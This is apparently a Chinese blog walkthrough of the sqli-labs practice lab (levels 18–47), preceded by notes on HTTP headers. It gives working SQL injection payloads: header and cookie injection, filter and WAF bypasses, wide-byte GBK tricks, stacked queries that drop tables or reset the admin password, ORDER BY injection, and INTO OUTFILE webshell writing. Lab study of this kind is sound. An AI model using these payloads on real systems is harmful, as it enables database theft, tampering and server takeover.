min-fresh:(接受其新鲜生命期大于其当前Age跟min-fresh值之和的缓存对象)
响应:
public(可以使用Cached内容回应任何用户)
private(只能用缓存内容回应先前请求该内容的那个用户)
no-cache(可以缓存,但是只有跟web服务器验证其有效后,才能返回给客户端)
max-age: (本响应包含的对象的过期时间)
ALL:no-store(不允许缓存)
7.Connection:
请求:
close(告诉web服务器或者代理服务器,在完成本次请求的响应后断开连接,不要等待本次连接的后续请求)
keeplive(告诉web服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)
响应:
close(连接已经关闭)
keepalive(连接保持着,在等待本次连接的后续请求)
Keep-Alive:如果浏览器请求保持连接,则该头部表明希望WEB服务器保持连接多长时间(s),例如:Keep-Alive:300
8.Content-Encoding:web服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip
9.Content-Language:WEB服务器告知浏览器自己响应的对象的语言
10.Content-Length:web服务器告知浏览器自己响应的对象的长度。例如:Content-Length:26012
11.Content-Range: web服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:Content-Range:bytes 21010-47021/47022
12.Content-Type:WEB服务器告知浏览器自己响应的对象的类型。例如:Content-Type:application/xml
13.Etag:就是一个对象(例如URL)的标志值,就对一个对象而言,比如一个html文件,如果被修改了,其ETag也会别修改,所以ETag的作用跟Last-Modified的作用差不多,主要供web服务器判断一个对象是否改变了。比如前一次请求某个html文件时,获得其ETag,当这次又请求这个文件时,浏览器就会把先前获得的ETag值发送给web服务器,然后web服务器就会把这个ETag跟该文件的当前ETag进行对比,然后就知道这个文件有没有改变。
14.Expired: web服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟web服务器验证了其有效性后,才能用来响应客户请求。是HTTP/1.0的头部。例如:Expires:Sat,23 May 2009 10:02:12 GMT
15:HostL:客户端指定自己想访问的web服务器的域名/IP地址和端口号。例如:Host:rss.sina.com.cn
16:If-Match:如果对象的ETag没有改变,意味着对象没有改变,才执行请求的动作。
17.If-None-Match:如果对象的ETag改变了,意味着对象也改变了,才执行请求的动作
18.If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作(比如返回对象),否则返回代码304,告知浏览器该对象没有修改。例如:If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
19.If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没有修改过,才执行请求的动作(比如返回对象)
20.If-Range:浏览器告诉WEB服务器,如果浏览器请求的对象没有改变,就把缺少的部分给浏览器,如果对象改变了,就将整个对象给浏览器。浏览器通过发送请求对象的ETag或者自己所知道的最后修改时间给web服务器,让其判断对象是否改变。总跟Range头部一起使用。
21.Last-Modified:WEB服务器认为对象的修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified: Tue,06 May 2008 02:42:43 GMT
22.Location:Web服务器告知浏览器,试图访问的对象已经被转移到别的位置,到该头部指定的位置去取。例如:Location:http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
23.Pramga:主要使用 Pramga: no-cache,相当于Cache-Control: no-cache。例如:Pragma:no-cache
24.Proxy-Authenticate:代理服务器响应浏览器,要求其提供代理身份证验证信息。
Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
25.Range:浏览器(例如:Flashget 多线程下载时)告知web服务器自己想取对象的哪部分。例如:Range:bytes=1173546-
26.Referer: 浏览器向web服务器自己是从哪个网页/URL获得/点击当前请求中的网址/URL。例如:Referer: http://www.sina.com/
27.Server:web服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61(Unix)
28:User-Agent:浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent: Mozilla/5.0
(Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、 0、 0、 14
29.Transfer-Encoding:web服务器表明自己对本响应消息体作什么编码,比如是否分块(chunked)。例如:Transfer-Encoding:chunked
30.Vary:WEB服务器用该头部的内容告诉Cache服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源web服务器在接到第一个请求消息时,其响应消息的头部为:Content-Encoding:gzip; Vary:Content-Encoding 那么Cache服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary头部值一致,即是否使用相同的内容编码方法,这样就可以防止Cache服务器用自己Cache里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary: Accept-Encoding
31.Via:列出从客户端到OCS或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via头部,并填上自己的相关信息,当下一代代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求Via头部,并把自己的相关信息加到后面,以此类推,当OCS收到最后一个代理服务器的请求时,检查Via头部,就知道该请求所经过的路由。例如:Via: 1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)
less18
从源码中看到:
1 | $uname = check_input($_POST['uname']); |
再本关卡对uname和passwd进行了check_input()函数处理,所以无法通过uname和passwd进行注入行不通,查看源码,发现sql语句:
1 | $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; |
将useragent和ip插入到数据库中,那么是否可以尝试用这个进行注入?IP地址我们一般无法更改,但是可以通过抓包软件修改useragent。使用burpsuite进行抓包并修改报文。
从上图可以看到,当提供正确的账号密码之后前台可以显示user-agent并且内容是我们通过报文修改之后的,那么当我们将user-agent内容改为注入语句呢?
例如:
1 | user-agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 |
可以看到已经获取到版本号
1 | user-agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1 |
less19
查看本关卡的源码
1 | $uagent = $_SERVER['HTTP_REFERER']; |
可以看到,后台从服务器中获取了HTTP_REFERER,那就可以使用与less18一样的方式进行注入,但是需要从referer进行修改。
1 | Referer: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and'1'='1 |
less20
查看该关卡源码,发现cookie从username中获取值后,当再次刷新时,会从cookie中读取username,然后进行查询。得知后台流程后,就可以进行注入了。
先在登录时burpsuite拦截登陆报文,将登陆报文直接发送,后又有一个GET报文,如下图:
cookie成功获取uname,然后修改报文并发送
1 | cookie: uname=admin' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) |
其余注入方式跟前面的一样,但是只能在burpsuite(拦截报文和修改报文工具)上进行,不然会获取不到相应的信息。
less21
直接键入正确的账号密码进行结果测试,发现在形式上与less20一致,区别在于返回的cookie获取到的uname使用base64进行加密。
查看后台的源码
1 | setcookie('uname', base64_encode($row1['username']), time()+3600); |
所以我们在处理playload时先要将查询语句进行base64加密,然后与less20是一致的。然后再后端接受uname时对uname进行了单引号和括号处理。
1 | //admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))# |
这边有点奇怪,使用站长之家的base64加密方式放进去是无法注入出来的,最后使用的加密站点:https://www.bejson.com/enc/base64/才能注入出来,或许是加密的模式不一样吧。
less22
该关卡直接键入admin账号密码发现返回是跟less21是一样的,查看源码发现,只是将uname的处理进行了改变,uname进行了双引号的处理。
1 | $cookee1 = '"'. $cookee. '"'; |
所以playload是跟前面一样的
1 | //admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))# |
第二部分/page-2 Adv Injections
less23
界面的提示与less1一样
1 | Please input the ID as parameter with numeric value |
通过get方式进行传输参数ID,但是ID有什么特殊的处理,暂时还不知道。尝试通过id=1和id=1‘,发现有回显报错。
1 | near ''1'' LIMIT 0,1' at line 1 |
查看源码:
1 | $id=$_GET['id']; |
通过源码发现,后端对id进行了#
和--
注释符号进行过滤,并对id进行单引号处理。
1 | http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,@@version,'3 |
此时sql查询语句为:
1 | select * from users where id='-1' union select 1,@@version,'3' limit 0,1 |
explain:
id=-1,sql查询语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句,只有一个数据可以输出,为让我们构造的数据可以正常输出,第一个select要没有输出结果,所以使用-1或者超过整个数据库所有数据都可以
-1’ union select 1,@@version,’3 第一个
‘
(单引号)闭合-1,第二个'
(单引号)闭合后面的,这样查询结果内容显示在username处此处还可以使用报错注入和延时注入,使用 or ’1‘=’1 进行闭合
1
http://localhost/sqli-labs-master/Less-23/?id=1' or extractvalue(1,concat(0x7e,database())) or '1'='1
1 | //获取数据库名 |
less24
该关卡是二次排序注入的类型,二次排序注入也称为存储型的注入,就是讲可能导致sql注入的字符先y存储到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。二次排序注入的思路:
- 通过构造ta数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务器进行处理,提交的数据报文请求中可能包含构造的sql语句或者命令
- 服务器端应用程序将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出相应
- 向服务器发送第二个与第一个不同的请求数据信息
- 服务端收到提交的第二个请求信息后,为处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致第一次请求中构造的sql语句或者命令在服务器中被执行。
- 服务器返回执行的处理结果数据信息,可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
在该关卡中,我们主要的步骤是注册一个admin‘#的账号,接下来登陆该账号后进行修改密码,此时被修改的是admin密码。查看后端的源码:
pass_changge.php
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; |
当修改admin’#密码时,将会执行
1 | update users set password='$pass' where username='admin'#' and password='$curr_pass'"; |
发现只会执行前半部分,即
1 | update users set password='$pass' where username='admin' |
具体步骤
(1)初始数据库:
(2)创建admin‘#账号
此时查看数据库中的用户信息
(3)登录admin’#账号,并修改密码
(4)查看数据库中的变化
可以看到数据库中已经将admin的密码改为123456
(5)使用admin 123456进行登录
已经成功登录
less25
关键代码如下:
1 | $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) |
本关卡主要是or and过滤,学习怎么绕过or和and过滤,一般是以下几个思路:
- 大小写变形 Or,OR,oR
- 编码,hex,urlencode
- 添加注释
/*or*/
- 利用符号 and=&& or=||
- 双写,oorr anandd
本关卡主要使用的是第四个方法
报错注入 or示例
1 | http://172.18.9.91/sqli-labs-master/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))-- + |
And示例
1 | http://172.18.9.91/sqli-labs-master/Less-25/?id=1 && 1=1 |
但是后面的查询我不是很了解,我所使用的双写+union联合查询
1 | http://172.18.9.91/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(scheme_name) from infoorrmation_schema.schemata -- + |
1 | http://172.18.9.91/sqli-labs-master/Less-25/?id=-1'union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' -- + |
less25a
关键代码
1 | $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) |
通过关键代码发现,该关卡主要没有包含对于id的单引号,同事没有输出错误项,报错注入不可使用,但是可以采用延时注入和联合注入的方式
1 | http://172.18.9.91/sqli-labs-master/Less-25a/?id=-1 union select 1,@@version,3# |
同样需要使用|| && 代替or and
1 | http://172.18.9.91/sqli-labs-master/Less-25a/?id=20 || 1=1 -- + |
其余联合查询的的playload与less25时一样的,只要将-1’的单引号去除就行
less26
tips:本关卡需要通过liunx环境进行测试,windows部分字符编码无法解析
关键代码
1 | $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) |
本关卡将空格,or,and,/*
,#,–,/等各种符号进行了过滤,and和or仍旧使用&& 和 || 进行处理,对于注释和结尾字符此处只能利用构造一个 ‘
来闭合后面的'
,对于空格,有较多的方法:
%09 | TAB键(水平) |
---|---|
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB键(垂直) |
%a0 | 空格 |
尝试playload:
1 | http://172.18.9.91/sqli-labs-master/Less-26/?id=1'%a0||'1 |
explain:’%a0||’1
此处的 sql 语句为 SELECT * FROM users WHERE id=’1’ || ‘1’ LIMIT 0,1
第一个 ‘ 首先闭合 id=’$id’ 中的’ , %a0 是空格的意思, (ps: 此处我的环境是 ubun
tu14.04+apache+mysql+php, 可以解析%a0, 此前在 windows+wamp 测试, 不能解析%a0) 同时%0b 也是可以通过测试的, 其他的经测试是不行的。 ||是或者的意思,‘1 则是为了闭合后面的 ’ 。因此可以构造类似的语句
1 | http://127.0.0.1/sqli-labs-master/Less-26/?id=100 ,2,3|| |
接下来就只需要更改sql语句即可
less26a
该关卡依旧要在liunx环境下进行测试。
关键代码:
1 | $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) |
这关与 26 的区别在于, sql 语句添加了一个括号, 同时在 sql 语句执行抛出错误后并
不在前台页面输出。 所有我们排除报错注入, 这里依旧是利用 union 注入。
1 | http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')union%a0select%a01,2,3||('1 |
explain: 基础与 26 一致, 我们直接用 ‘) 闭合前面的, 然后跟上自己构造的注入语句即
可。 最后利用(’1 进行闭合即可。
1 | http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')union%a0select%a01,user(),('3 |
可将 user()更换为你想要的 sql 语句。 同时该例可以利用延时注入。
less27
关键代码:
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
本关卡主要考察union,select和上个关卡过滤掉的字符。上个关卡过滤字符参照上个关卡的处理方式,union,select使用大小写混合的方式进行绕过。
1 | http://127.0.0.1/sqli-labs-master/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1 |
tips:uniunionon 也是可以突破限制的。 亦可以利用报错注入和延时注入的语法进行注入
less27a
通过源码发现该关卡与less27的主要区别在与id的处理,此处使用的是"
进行处理,同时mysql错误不会回显。根据less27playload
1 | http://127.0.0.1/sqli-labs-master/Less-27a/?id=100"unIon%a0SelEcT%a01,database(),"3 |
TIPs:这里说下以上 payload 我们利用最后的 3 前面的 “ 将后面的 “ 给闭合掉。 或者亦可以利用以前的方法 1,user(),3 || “1, 同时本关可以用延时注入的方法进行注入。
less28
关键代码:
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
该关卡与less27差不多的处理,只是将id加了括号的处理,需要进行括号闭合
1 | http://127.0.0.1/sqli-labs-master/Less-27/?id=1')union%a0select(1),(user()),(3)||'(1 |
less28a
1 | $id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces. |
本关卡与less28一致,只是少点半部分的过滤条件
1 | http://127.0.0.1/sqli-labs-master/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271 |
Background-6 服务器(两层)架构
服务器端有两个部分,第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。主要的工作流程为:客户端访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。
环境安装参考:https://blog.csdn.net/qq_43579362/article/details/104298144
中间y有一步是进行sqli-labs进行数据安装步骤,发现无法连接本地数据库,参考博客:https://www.cnblogs.com/NexTen/p/7671280.html
安装完成且在虚拟机可正常访问后,查看kali虚拟机ip,并在物理机浏览器上可直接访问。
这边设计一个知识点,HPP漏洞,即http参数污染,是web容器处理http参数时的问题,比如说:
1 | 比如访问URL:http://www.xxx.com/index.php?str=hello此时,页面显示hello。但如果访问:http://www.xxx.com/index.php?str=hello&str=world&str=nmask此时,页面显示nmask,把前面参数的值给覆盖了,这就是http参数污染。 |
也就是说当访问页面index.php?id=1&id=2,浏览器所解析显示的是哪个id参数,这要看是什么中间件,若是apache(php)解析的是最后一个参数,即id=2,若为Tomcat(jsp)解析的是第一个参数,即id=1
web服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | Last |
JSP/Tomcat | Request.getParameter(“par”) | First |
Perl(CGI)/Apache | Param(“par”) | First |
Python/Apache | getvalue(“par”) | All(List) |
ASP/IIS | Request.QueryString(“par”) | All(comma-delimitedstring) |
以上为大多数服务器对于参数解析的介绍
这边要注意一个问题,index.jsp?id=1&id=2请求,针对表格中的服务器配置情况,客户端请求首先过tomcat,tomcat解析第一个参数,然后tomcat去请求apache(php)服务器,apache解析最后一个参数,那最终返回客户端的会是哪个参数?实际上应为id=2的内容,应为时间上提供服务的是apapche(php)服务器,返回的数据也应该是apache处理数据,而在实际应用中,也是有两层服务器的情况。往往在tomcat服务器做数据过滤和处理,功能类似为一个WAF,而正因为解析参数的不同,此处可以利用该原理绕过WAF的检测。该用法就是HPP,http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。
less29
查看tomcat中的index.jsp文件
在apache的index.php中,sql语句为
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
因此根据HPP原理,直接上playload:
1 | http://192.168.159.128:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2' union select 1,user(),3 -- + |
其余的playload就像less-1一样
1 | http://192.168.159.128:8080/sqli-labs/Less-29/index.jsp?id=1&id=-2' union select 1,database(),3 -- + |
less30
less30的原理和less29原理是一致的,区别在与less30中的sql查询语句对id进行了处理
所以我们的playload没有太大的变化
1 | http://192.168.159.128:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2" union select 1,2,database() -- + |
less31
less31与前面两个关卡注入方式是一样的,区别在于id的处理上
所以playload为
1 | http://192.168.159.128:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2") union select 1,2,database() -- + |
总结:从上面的三个关卡,我们获知在不同的服务器总对于参数的处理时不同的,HPP的应用有很多,不仅仅上上述的WAF一个方面,还可执行重复操作,可以执行非法操作等。同事针对WAF的绕过,这边只是一小部分,还有许多方面可以进行研究。
Background-7 宽字节注入
less-32,33,34,35,36,37六个关卡是针对'
和\
的过滤。宽字节注入的原理和方法:
原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如:%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。在过滤 '
的时候往往利用的思路就是将 '
转换为\'
(通过转换函数进行)
因此在此想办法将'
前面添加的\
除掉,一般是通过以下两种思路:
- %df除掉
\
,具体原因是urlencode('\) =%5c%27
,在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此时%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到目的 - 将
\'
中的\
过滤掉,例如可以构造%**%5c%5c%27的情况,后面的%5会被前面的%5c给注释掉,这也是一种bypass的一种方法
less32
利用上述的原理,尝试一下playload:
1 | http://172.18.9.91/sqli-labs/Less-32/?id=-1%df' union select 1,2,database() -- + |
有个奇怪的地方,使用kali2020中(即上一个背景环境)进行测试发现是没有返回数据,通过原先(即前面二十几个关卡的环境)是可以返回原先的值,原因不知道是什么,是因为kali2020自带的mysql数据库是MariaDB的原因吗?
可以看到,已经绕过了对于'
的过滤,从源代码进行考虑:
上述函数为过滤' \
的函数,将'
转为\'
,将\
转为\\
,将"
转为\"
。因此此处只能考虑background中的第一个思路,添加%df后将%5c吃掉即可。从上图的input HEX中可以看到df5c27,此处已经将df5c看成是一个字符。
less33
本关卡和上关卡的playload是一样的
1 | http://172.18.9.91/sqli-labs-master/Less-33/?id=-1%df' union select 1,2,database()--+ |
从源码中看到:
此处过滤使用的函数为addslashes(),该函数返回在预定义字符之前添加反斜杠的字符串,其中预定义字符为:
- 单引号(’)
- 双引号(“)
- 反斜杠(\)
tips:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
Addslashes()函数和我们在 32 关实现的功能基本一致的, 所以我们依旧可以利用%df 进行绕
过。
Notice: 使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式, 才能防御此漏洞。
Mysql_query(“SET
character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
less34
本关卡是post型注入漏洞,同样的也是将post内容进行'\
的处理,由上面的例子可以看到这边的方法就是将过滤函数添加\吃掉。而get型的方式通过url形式提交,数据会通过urlencode,将该方法用在post型注入中,思路是将utf-8转换为utf-16或者utf-32,例如将 ‘ 转换为utf-16为� ‘ ,就可以利用这个方式进行尝试。
此关卡使用万能密码的方式进行突破。
通过burpsuite进行拦截报文,并将其进行修改成相应的参数,进行注入:
通过结果图可以看到,在没使用密码的情况下获知了账号密码。
原始的 sql 语句为
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' |
此时 sql 语句为
1 | SELECT username, password FROM users WHERE username='admin� ' or 1#' and |
Explain: SELECT username, password FROM users WHERE username=’admin� ‘ or 1
起到作用, 后面的则被#注释掉了。 而起作用的的语句不论 select 选择出来的内 容是什么与 1 进行 or 操作后, 始终是 1。
通过修改limit 后面的数字进行查询不同用户的账号密码。
less35
less35和less33大致是一样的,唯一的区别在于sql语句的不同。
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
区别在于id没有经过单引号的处理,所以没有必要考虑check_addslashes()函数的意义,直接提交playload
1 | http://172.18.9.91/sqli-labs-master/Less-35/?id=-1 union select 1,2,database() -- + |
less36
从源码看到,在后端check_quotes()函数是利用mysql_real_escape_string()函数进行的过滤。mysql_real_escape_string()函数转义SQL语句中使用的字符中的特殊字符,下列字符受影响:
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
如果成功,则该函数返回被转义的字符串,如果失败,则返回false。但是mysql并没有设置成gbk,所以mysql_real_escape_string()依旧可以突破,方法和上述是一样的。
playload:
1 | http://172.18.9.91/sqli-labs-master/Less-36/?id=-1%EF%BF%BD'union select 1,2,database()--+ |
此时使用的'
的utf-16进行突破的,也可使用%df进行。
playload:
1 | http://172.18.9.91/sqli-labs-master/Less-36/?id=-1%df'union select 1,2,database()--+ |
tip:在使用mysql_real_escape_string()时,要防护这种问题,只需将mysql设置为gbk即可。设置的代码为:
1 | Mysql_set_charset('gbk','$conn') |
less-37
本关卡与34关卡是大致的,区别在于处理post内容使用的mysql_real_escape_string()函数,而不是addslashes()函数,但是原理是一致的。依旧使用万能密码进行突破。
看到是可以正常登陆的。
总结:从上面几个关卡可以总结一下过滤'\
常用的三种方式是直接replace,addslashes(),mysql_real_escape_string()。三种方式仅仅依靠一个函数是不能完全防御的,所以在编写代码时需要考虑得更加仔细。
第三部分/page-3 Stacked injection
Background-8 stacked injection
Stacked injections:堆叠注入。从词面的含义就可以看到是一堆sql语句(多条)一起执行,而在真实的运用中也是这样的,在mysql中,主要是命令行中,每一条语句结尾加;
表示语句结束。这样就想到是不是可以多句一起使用,这个就叫做stack injection。
0x01 原理介绍
在sql中,分号(;)是用来表示一条sql语句的结束,试想一下在 ; 结束一个sql语句后构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者的区别在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如:
用户输入:
1;delete from products
服务器端生成的sql语句为:(因为对输入的参数进行过滤)
Select * from products where productid=1;delete from products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
0x02 堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。堆叠注入可以使用的平台:
虽然堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美,在web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,在前端界面是无法看到返回结果的。
因此,在读取数据时,还是建议使用union(联合)注入。同时在使用堆叠注入之前,需要知道一些数据库相关的信息,例如表名,列名等信息。
0x03 Mysql示例
(1)新建表格 select * from users where id=1;create table test like users;
这边看见是已经创建成功,验证一下:
(2)删除上面新建的test表,select * from users where id=1;drop table test;
(3)查询数据 select * from users where id=1;select 1,2,3;
(4)修改数据 select * from users where id=1;insert into users(id,username,password) values(‘100’,’new’,’new’);
less-38
本关卡就是使用stacked injection的相关知识,在执行select时的sql语句为:
1 | SELECT * FROM users WHERE id='$id' LIMIT 0,1; |
可以直接构造如下的playload:
1 | http://172.18.9.91/sqli-labs-master/Less-38/index.php?id=1';insert into users(id,username,password) values ('38','less38','hello')--+ |
可以看到数据库表中已经将刚刚内容插入进去了。
less39
和less38的区别在于sql语句的不一样
1 | SELECT * FROM users WHERE id=$id LIMIT 0,1 |
也就是id没有进行处理。构造如下playload:
1 | http://172.18.9.91/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values ('39','less39','hello')--+ |
通过数据库查看添加的内容:
less40
本关卡的sql语句为:
1 | SELECT * FROM users WHERE id=('$id') LIMIT 0,1 |
根据sql语句构造相应的playload:
1 | http://172.18.9.91/sqli-labs-master/Less-40/index.php?id=1');insert into users(id,username,password) values ('40','less40','hello40')--+ |
less41
此处与less39是一致的,区别在于41错误不会回显,所以这边是盲注。
playload:
1 | http://172.18.9.91/sqli-labs-master/Less-41/index.php?id=1; insert into users(id,username,password) values ('41','less41','hello41')--+ |
less42
update更新数据之后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生改变。在select调用的时候才能发挥作用,所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。从login.php源码进行分析:
Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理,因此在登录的时候密码选项可以进行攻击。
登录用户名随意
密码使用:
c';drop table me# (删除me表)
c';create table me like users# (创建me表)
在注入前先查看原来security数据库中的表:
在登录界面随便输入内容,然后使用burpsuite拦截报文,并做相应的修改
当报文发送到后台时,原sql语句为:
1 | SELECT * FROM users WHERE username='$username' and password='$password' |
通过playload构造的sql语句为
1 | SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users# |
利用stacked injection,进入命令行查看是否成功创建表格。
利用c’;drop table less42#作为登录密码,删除该表。
同样的利用此方式可以更新和插入数据项。这边演示通过update进行更改用户admin的密码,然后登录。
less43
本关卡从源码来看与less42是一样的原理,主要的区别在于sql语句的不一样。在本关卡sql语句为:
1 | SELECT * FROM users WHERE username=('$username') and password=('$password') |
登录
username:admin
password:1');update users password='less43' where username='admin'#
具体的演示就不做了,跟上面的一样。
less44
本关卡是基于盲注的,主要是没有报错信息,所以采用盲注的方式,但是我觉得有没有报错信息在堆叠注入好像并没有多大关系,也没有看是什么报错,主要还是构造号后面的注入语句。
登录
username:admin
password:1';update users password='less44' where username='admin'#
具体参看less42
less45
本关卡是less43基于盲注的,所以playload是与less43一致,只不过less45没有报错信息,但是并不影响结果。
登录信息:
username:admin
password:1';update users password='less45' where username='admin'#
Background-9 order by 后的injection
less46
本关卡开始,是通过order by相关注入知识
该关卡的sql语句为
1 | SELECT * FROM users ORDER BY $id |
尝试?sort=1 desc或者asc,显示的结果不同,则表明可以注入。
从上面的结果看,是可以进行注入,上述的sql语句中可以看到,注入点在order by后面的参数中,而order by 不同于的where后面的注入点,不能使用union等进行注入。关于order by注入的方式,先查看下mysql的官方文档:
可利用order by后的一些参数进行注入:
首先:
(1) order by后的数字可以作为一个注入点,也就是构造order by 后的一个语句,让该语句执行结果为一个数,尝试
1 | http://172.18.9.91/sqli-labs-master/Less-46/?sort=right(version(),1) |
没有报错,但是right换成left是一样的,说明数字没有起到作用,考虑使用布尔类型,此时可以使用报错注入和延时注入。
此处可以直接构造?sort=后面的一个参数,此时有三种形式
①直接添加注入语句,?sort=(select ***)
②利用一些函数,例如rand()函数等。?sort=rand(sql语句)
ps:这边看一下rand(true)和rand(false)得结果是不一样的
③利用and,例如?sort=1 and (加sql语句)
同时,sql语句可以利用报错注入和延时注入的方式,语句可以灵活构造。
报错注入例子:
1 | http://172.18.9.91/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))) |
上述图片看到数据库用户名为root@localhost的用户名
使用rand()进行演示,前面看到rand(true)和rand(false)结果是不一样的。
1 | http://172.18.9.91/sqli-labs-master/Less-46/?sort=rand(ascii(left(database(),1))=115) |
1 | http://172.18.9.91/sqli-labs-master/Less-46/?sort=rand(ascii(left(database(),1))=116) |
从上面的两个图对比rand(true)和rand(false)的结果看。报错注入是成功的。
延时注入的例子:
1 | http://172.18.9.91/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1) |
上述两个延时注入的例子可以看出明显的看出时间的不同。
同时也可以使用?sort=1 and 后添加注入语句
(2)procedure analyse 参数后注入
利用procedure analyse参数,可以执行报错注入,同时,在procedure analyse和order by 之间可以存在limit 参数,实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
1 | http://172.18.9.91/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1) |
(3)导入导出文件 into outfile参数
1 | http://172.18.9.91/sqli-labs-master/Less-46/?sort=1 into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\test1.txt" |
将查询结果导入到文件中:
这时就可以使用上传网马,利用lines terminated by
1 | into outfileD:\\phpStudy\\WWW\\sqli-labs-master\\test1.txt lines terminated by 0x(网马进行16进制转换) |
less47
本关卡sql语句为:
1 | SELECT * FROM users ORDER BY '$id' |
将id变成字符型,因此依旧按照注入的位置进行分类。
(1)order by后的参数
只能使用and来进行a报错或者延时注入。
①and rand 相结合的方式
1 | http://172.18.9.91/sqli-labs-master/Less-47/index.php?sort=1'and rand(ascii(left(database(),1))=115)--+ |
换成116
1 | http://127.0.0.1/sqli-labs-master/Less-47/index.php?sort=1% |
mysql天书里面是说会不一样,但是我这边测试是一样的。。。。
此处后期经过测试, 还是存在问题的, 我们不能使用这种方式进行准确的注入。 此处留下只
是一个示例。
②可以利用报错的方式进行
